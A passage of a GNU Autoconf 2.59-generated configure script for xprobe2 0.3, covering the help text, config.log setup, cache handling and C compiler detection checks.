default, \`make install' will install all the files in \`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify an installation prefix other than \`$ac_default_prefix' using \`--prefix', for instance \`--prefix=\$HOME'. For better control, use the options below. Fine tuning of the installation directories: --bindir=DIR user executables [EPREFIX/bin] --sbindir=DIR system admin executables [EPREFIX/sbin] --libexecdir=DIR program executables [EPREFIX/libexec] --datadir=DIR read-only architecture-independent data [PREFIX/share] --sysconfdir=DIR read-only single-machine data [PREFIX/etc] --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] --localstatedir=DIR modifiable single-machine data [PREFIX/var] --libdir=DIR object code libraries [EPREFIX/lib] --includedir=DIR C header files [PREFIX/include] --oldincludedir=DIR C header files for non-gcc [/usr/include] --infodir=DIR info documentation [PREFIX/info] --mandir=DIR man documentation [PREFIX/man] _ACEOF cat <<\_ACEOF Program names: --program-prefix=PREFIX prepend PREFIX to installed program names --program-suffix=SUFFIX append SUFFIX to installed program names --program-transform-name=PROGRAM run sed PROGRAM on installed program names System types: --build=BUILD configure for building on BUILD [guessed] --host=HOST cross-compile to build programs to run on HOST [BUILD] _ACEOF fi if test -n "$ac_init_help"; then cat <<\_ACEOF Optional Features: --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) --enable-FEATURE[=ARG] include FEATURE [ARG=yes] --enable-debug enable debugging ) Optional Packages: --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) --with-libpcap-includes=DIR libpcap include directory --with-libpcap-libraries=DIR libpcap library directory --with-libusipp-includes=DIR libusipp include directory --with-libusipp-libraries=DIR libusipp library directory Some influential environment variables: CC C compiler command CFLAGS C compiler flags LDFLAGS linker flags, e.g. -L if you have libraries in a nonstandard directory CPPFLAGS C/C++ preprocessor flags, e.g. -I if you have headers in a nonstandard directory CXX C++ compiler command CXXFLAGS C++ compiler flags CXXCPP C++ preprocessor Use these variables to override the choices made by `configure' or to help it to find libraries and programs with nonstandard names/locations. _ACEOF fi if test "$ac_init_help" = "recursive"; then # If there are subdirs, report their specific --help. ac_popdir=`pwd` for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue test -d $ac_dir || continue ac_builddir=. if test "$ac_dir" != .; then ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` # A "../" for each directory in $ac_dir_suffix. ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'` else ac_dir_suffix= ac_top_builddir= fi case $srcdir in .) # No --srcdir option. We are building in place. ac_srcdir=. if test -z "$ac_top_builddir"; then ac_top_srcdir=. else ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'` fi ;; [\\/]* | ?:[\\/]* ) # Absolute path. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ;; *) # Relative path. ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_builddir$srcdir ;; esac # Do not use `cd foo && pwd` to compute absolute paths, because # the directories may not exist. case `pwd` in .) ac_abs_builddir="$ac_dir";; *) case "$ac_dir" in .) ac_abs_builddir=`pwd`;; [\\/]* | ?:[\\/]* ) ac_abs_builddir="$ac_dir";; *) ac_abs_builddir=`pwd`/"$ac_dir";; esac;; esac case $ac_abs_builddir in .) ac_abs_top_builddir=${ac_top_builddir}.;; *) case ${ac_top_builddir}. in .) ac_abs_top_builddir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=${ac_top_builddir}.;; *) ac_abs_top_builddir=$ac_abs_builddir/${ac_top_builddir}.;; esac;; esac case $ac_abs_builddir in .) ac_abs_srcdir=$ac_srcdir;; *) case $ac_srcdir in .) ac_abs_srcdir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_srcdir=$ac_srcdir;; *) ac_abs_srcdir=$ac_abs_builddir/$ac_srcdir;; esac;; esac case $ac_abs_builddir in .) ac_abs_top_srcdir=$ac_top_srcdir;; *) case $ac_top_srcdir in .) ac_abs_top_srcdir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=$ac_top_srcdir;; *) ac_abs_top_srcdir=$ac_abs_builddir/$ac_top_srcdir;; esac;; esac cd $ac_dir # Check for guested configure; otherwise get Cygnus style configure. if test -f $ac_srcdir/configure.gnu; then echo $SHELL $ac_srcdir/configure.gnu --help=recursive elif test -f $ac_srcdir/configure; then echo $SHELL $ac_srcdir/configure --help=recursive elif test -f $ac_srcdir/configure.ac || test -f $ac_srcdir/configure.in; then echo $ac_configure --help else echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 fi cd $ac_popdir done fi test -n "$ac_init_help" && exit 0 if $ac_init_version; then cat <<\_ACEOF Copyright (C) 2003 Free Software Foundation, Inc. This configure script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it. _ACEOF exit 0 fi exec 5>config.log cat >&5 <<_ACEOF This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. It was created by $as_me, which was generated by GNU Autoconf 2.59. Invocation command line was $ $0 $@ _ACEOF { cat <<_ASUNAME ## --------- ## ## Platform. ## ## --------- ## hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` /bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` /bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` hostinfo = `(hostinfo) 2>/dev/null || echo unknown` /bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` /bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` _ASUNAME as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. echo "PATH: $as_dir" done } >&5 cat >&5 <<_ACEOF ## ----------- ## ## Core tests. ## ## ----------- ## _ACEOF # Keep a trace of the command line. # Strip out --no-create and --no-recursion so they do not pile up. # Strip out --silent because we don't want to record it for future runs. # Also quote any args containing shell meta-characters. # Make two passes to allow for proper duplicate-argument suppression. ac_configure_args= ac_configure_args0= ac_configure_args1= ac_sep= ac_must_keep_next=false for ac_pass in 1 2 do for ac_arg do case $ac_arg in -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) continue ;; *" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*) ac_arg=`echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; esac case $ac_pass in 1) ac_configure_args0="$ac_configure_args0 '$ac_arg'" ;; 2) ac_configure_args1="$ac_configure_args1 '$ac_arg'" if test $ac_must_keep_next = true; then ac_must_keep_next=false # Got value, back to normal. else case $ac_arg in *=* | --config-cache | -C | -disable-* | --disable-* \ | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ | -with-* | --with-* | -without-* | --without-* | --x) case "$ac_configure_args0 " in "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; esac ;; -* ) ac_must_keep_next=true ;; esac fi ac_configure_args="$ac_configure_args$ac_sep'$ac_arg'" # Get rid of the leading space. ac_sep=" " ;; esac done done $as_unset ac_configure_args0 || test "${ac_configure_args0+set}" != set || { ac_configure_args0=; export ac_configure_args0; } $as_unset ac_configure_args1 || test "${ac_configure_args1+set}" != set || { ac_configure_args1=; export ac_configure_args1; } # When interrupted or exit'd, cleanup temporary files, and complete # config.log. We remove comments because anyway the quotes in there # would cause problems or look ugly. # WARNING: Be sure not to use single quotes in there, as some shells, # such as our DU 5.0 friend, will then `close' the trap. trap 'exit_status=$? # Save into config.log some information that might help in debugging. { echo cat <<\_ASBOX ## ---------------- ## ## Cache variables. ## ## ---------------- ## _ASBOX echo # The following way of writing the cache mishandles newlines in values, { (set) 2>&1 | case `(ac_space='"'"' '"'"'; set | grep ac_space) 2>&1` in *ac_space=\ *) sed -n \ "s/'"'"'/'"'"'\\\\'"'"''"'"'/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='"'"'\\2'"'"'/p" ;; *) sed -n \ "s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1=\\2/p" ;; esac; } echo cat <<\_ASBOX ## ----------------- ## ## Output variables. ## ## ----------------- ## _ASBOX echo for ac_var in $ac_subst_vars do eval ac_val=$`echo $ac_var` echo "$ac_var='"'"'$ac_val'"'"'" done | sort echo if test -n "$ac_subst_files"; then cat <<\_ASBOX ## ------------- ## ## Output files. ## ## ------------- ## _ASBOX echo for ac_var in $ac_subst_files do eval ac_val=$`echo $ac_var` echo "$ac_var='"'"'$ac_val'"'"'" done | sort echo fi if test -s confdefs.h; then cat <<\_ASBOX ## ----------- ## ## confdefs.h. ## ## ----------- ## _ASBOX echo sed "/^$/d" confdefs.h | sort echo fi test "$ac_signal" != 0 && echo "$as_me: caught signal $ac_signal" echo "$as_me: exit $exit_status" } >&5 rm -f core *.core && rm -rf conftest* confdefs* conf$$* $ac_clean_files && exit $exit_status ' 0 for ac_signal in 1 2 13 15; do trap 'ac_signal='$ac_signal'; { (exit 1); exit 1; }' $ac_signal done ac_signal=0 # confdefs.h avoids OS command line length limits that DEFS can exceed. rm -rf conftest* confdefs.h # AIX cpp loses on an empty file, so make sure it contains at least a newline. echo >confdefs.h # Predefined preprocessor variables. cat >>confdefs.h <<_ACEOF #define PACKAGE_NAME "$PACKAGE_NAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_TARNAME "$PACKAGE_TARNAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_VERSION "$PACKAGE_VERSION" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_STRING "$PACKAGE_STRING" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" _ACEOF # Let the site file select an alternate cache file if it wants to. # Prefer explicitly selected file to automatically selected ones. if test -z "$CONFIG_SITE"; then if test "x$prefix" != xNONE; then CONFIG_SITE="$prefix/share/config.site $prefix/etc/config.site" else CONFIG_SITE="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site" fi fi for ac_site_file in $CONFIG_SITE; do if test -r "$ac_site_file"; then { echo "$as_me:$LINENO: loading site script $ac_site_file" >&5 echo "$as_me: loading site script $ac_site_file" >&6;} sed 's/^/| /' "$ac_site_file" >&5 . "$ac_site_file" fi done if test -r "$cache_file"; then # Some versions of bash will fail to source /dev/null (special # files actually), so we avoid doing that. if test -f "$cache_file"; then { echo "$as_me:$LINENO: loading cache $cache_file" >&5 echo "$as_me: loading cache $cache_file" >&6;} case $cache_file in [\\/]* | ?:[\\/]* ) . $cache_file;; *) . ./$cache_file;; esac fi else { echo "$as_me:$LINENO: creating cache $cache_file" >&5 echo "$as_me: creating cache $cache_file" >&6;} >$cache_file fi # Check that the precious variables saved in the cache have kept the same # value. ac_cache_corrupted=false for ac_var in `(set) 2>&1 | sed -n 's/^ac_env_\([a-zA-Z_0-9]*\)_set=.*/\1/p'`; do eval ac_old_set=\$ac_cv_env_${ac_var}_set eval ac_new_set=\$ac_env_${ac_var}_set eval ac_old_val="\$ac_cv_env_${ac_var}_value" eval ac_new_val="\$ac_env_${ac_var}_value" case $ac_old_set,$ac_new_set in set,) { echo "$as_me:$LINENO: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} ac_cache_corrupted=: ;; ,set) { echo "$as_me:$LINENO: error: \`$ac_var' was not set in the previous run" >&5 echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} ac_cache_corrupted=: ;; ,);; *) if test "x$ac_old_val" != "x$ac_new_val"; then { echo "$as_me:$LINENO: error: \`$ac_var' has changed since the previous run:" >&5 echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} { echo "$as_me:$LINENO: former value: $ac_old_val" >&5 echo "$as_me: former value: $ac_old_val" >&2;} { echo "$as_me:$LINENO: current value: $ac_new_val" >&5 echo "$as_me: current value: $ac_new_val" >&2;} ac_cache_corrupted=: fi;; esac # Pass precious variables to config.status. if test "$ac_new_set" = set; then case $ac_new_val in *" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*) ac_arg=$ac_var=`echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; *) ac_arg=$ac_var=$ac_new_val ;; esac case " $ac_configure_args " in *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. *) ac_configure_args="$ac_configure_args '$ac_arg'" ;; esac fi done if $ac_cache_corrupted; then { echo "$as_me:$LINENO: error: changes in the environment can compromise the build" >&5 echo "$as_me: error: changes in the environment can compromise the build" >&2;} { { echo "$as_me:$LINENO: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&5 echo "$as_me: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&2;} { (exit 1); exit 1; }; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu ac_ext=cc ac_cpp='$CXXCPP $CPPFLAGS' ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_cxx_compiler_gnu test "$program_prefix" != NONE && program_transform_name="s,^,$program_prefix,;$program_transform_name" # Use a double $ so make ignores it. test "$program_suffix" != NONE && program_transform_name="s,\$,$program_suffix,;$program_transform_name" # Double any \ or $. echo might interpret backslashes. # By default was `s,x,x', remove it if useless. cat <<\_ACEOF >conftest.sed s/[\\$]/&&/g;s/;s,x,x,$// _ACEOF program_transform_name=`echo $program_transform_name | sed -f conftest.sed` rm conftest.sed PACKAGE=xprobe2 VERSION='0.3' if test "x$sysconfdir" != xNONE; then if test "x$prefix" = xNONE; then prefix="$ac_default_prefix" fi CFGDIR="`eval echo $sysconfdir`/xprobe2" else CFGDIR="$ac_default_prefix/etc/xprobe2" fi ac_config_headers="$ac_config_headers src/config.h" ac_aux_dir= for ac_dir in cfg-scripts $srcdir/cfg-scripts; do if test -f $ac_dir/install-sh; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/install-sh -c" break elif test -f $ac_dir/install.sh; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/install.sh -c" break elif test -f $ac_dir/shtool; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/shtool install -c" break fi done if test -z "$ac_aux_dir"; then { { echo "$as_me:$LINENO: error: cannot find install-sh or install.sh in cfg-scripts $srcdir/cfg-scripts" >&5 echo "$as_me: error: cannot find install-sh or install.sh in cfg-scripts $srcdir/cfg-scripts" >&2;} { (exit 1); exit 1; }; } fi ac_config_guess="$SHELL $ac_aux_dir/config.guess" ac_config_sub="$SHELL $ac_aux_dir/config.sub" ac_configure="$SHELL $ac_aux_dir/configure" # This should be Cygnus configure. ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. set dummy ${ac_tool_prefix}gcc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}gcc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "gcc", so it can be a program name with args. set dummy gcc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="gcc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi CC=$ac_ct_CC else CC="$ac_cv_prog_CC" fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. set dummy ${ac_tool_prefix}cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi CC=$ac_ct_CC else CC="$ac_cv_prog_CC" fi fi if test -z "$CC"; then # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else ac_prog_rejected=no as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ac_prog_rejected=yes continue fi ac_cv_prog_CC="cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done if test $ac_prog_rejected = yes; then # We found a bogon in the path, so make sure we never use it. set dummy $ac_cv_prog_CC shift if test $# != 0; then # We chose a different compiler from the bogus one. # However, it has the same basename, so the bogon will be chosen # first if we set CC to just the basename; use the full file name. shift ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" fi fi fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then for ac_prog in cl do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="$ac_tool_prefix$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$CC" && break done fi if test -z "$CC"; then ac_ct_CC=$CC for ac_prog in cl do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$ac_ct_CC" && break done CC=$ac_ct_CC fi fi test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH See \`config.log' for more details." >&5 echo "$as_me: error: no acceptable C compiler found in \$PATH See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } # Provide some information about the compiler. echo "$as_me:$LINENO:" \ "checking for C compiler version" >&5 ac_compiler=`set X $ac_compile; echo $2` { (eval echo "$as_me:$LINENO: \"$ac_compiler --version &5\"") >&5 (eval $ac_compiler --version &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -v &5\"") >&5 (eval $ac_compiler -v &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -V &5\"") >&5 (eval $ac_compiler -V &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; return 0; } _ACEOF ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files a.out a.exe b.out" # Try to create an executable without -o first, disregard a.out. # It will help us diagnose broken compilers, and finding out an intuition # of exeext. echo "$as_me:$LINENO: checking for C compiler default output file name" >&5 echo $ECHO_N "checking for C compiler default output file name... $ECHO_C" >&6 ac_link_default=`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` if { (eval echo "$as_me:$LINENO: \"$ac_link_default\"") >&5 (eval $ac_link_default) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; then # Find the output, starting from the most likely. This scheme is # not robust to junk in `.', hence go to wildcards (a.*) only as a last # resort. # Be careful to initialize this variable, since it used to be cached. # Otherwise an old cache value of `no' led to `EXEEXT = no' in a Makefile. ac_cv_exeext= # b.out is created by i960 compilers. for ac_file in a_out.exe a.exe conftest.exe a.out conftest a.* conftest.* b.out do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) ;; conftest.$ac_ext ) # This is the source file. ;; [ab].out ) # We found the default executable, but exeext='' is most # certainly right. break;; *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` # FIXME: I believe we export ac_cv_exeext for Libtool, # but it would be cool to find out if it's true. Does anybody # maintain Libtool? --akim. export ac_cv_exeext break;; * ) break;; esac done else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { echo "$as_me:$LINENO: error: C compiler cannot create executables See \`config.log' for more details." >&5 echo "$as_me: error: C compiler cannot create executables See \`config.log' for more details." >&2;} { (exit 77); exit 77; }; } fi ac_exeext=$ac_cv_exeext echo "$as_me:$LINENO: result: $ac_file" >&5 echo "${ECHO_T}$ac_file" >&6 # Check the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. echo "$as_me:$LINENO: checking whether the C compiler works" >&5 echo $ECHO_N "checking whether the C compiler works... $ECHO_C" >&6 # FIXME: These cross compiler hacks should be removed for Autoconf 3.0 # If not cross compiling, check that we can run a simple program. if test "$cross_compiling" != yes; then if { ac_try='./$ac_file' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then cross_compiling=no else if test "$cross_compiling" = maybe; then cross_compiling=yes else { { echo "$as_me:$LINENO: error: cannot run C compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details." >&5 echo "$as_me: error: cannot run C compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi fi fi echo "$as_me:$LINENO: result: yes" >&5 echo "${ECHO_T}yes" >&6 rm -f a.out a.exe conftest$ac_cv_exeext b.out ac_clean_files=$ac_clean_files_save # Check the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. echo "$as_me:$LINENO: checking whether we are cross compiling" >&5 echo $ECHO_N "checking whether we are cross compiling... $ECHO_C" >&6 echo "$as_me:$LINENO: result: $cross_compiling" >&5 echo "${ECHO_T}$cross_compiling" >&6 echo "$as_me:$LINENO: checking for suffix of executables" >&5 echo $ECHO_N "checking for suffix of executables... $ECHO_C" >&6 if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; then # If both `conftest.exe' and `conftest' are `present' (well, observable) # catch `conftest.exe'. For instance with Cygwin, `ls conftest' will # work properly (i.e., refer to `conftest.exe'), while it won't with # `rm'. for ac_file in conftest.exe conftest conftest.*; do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) ;; *.* 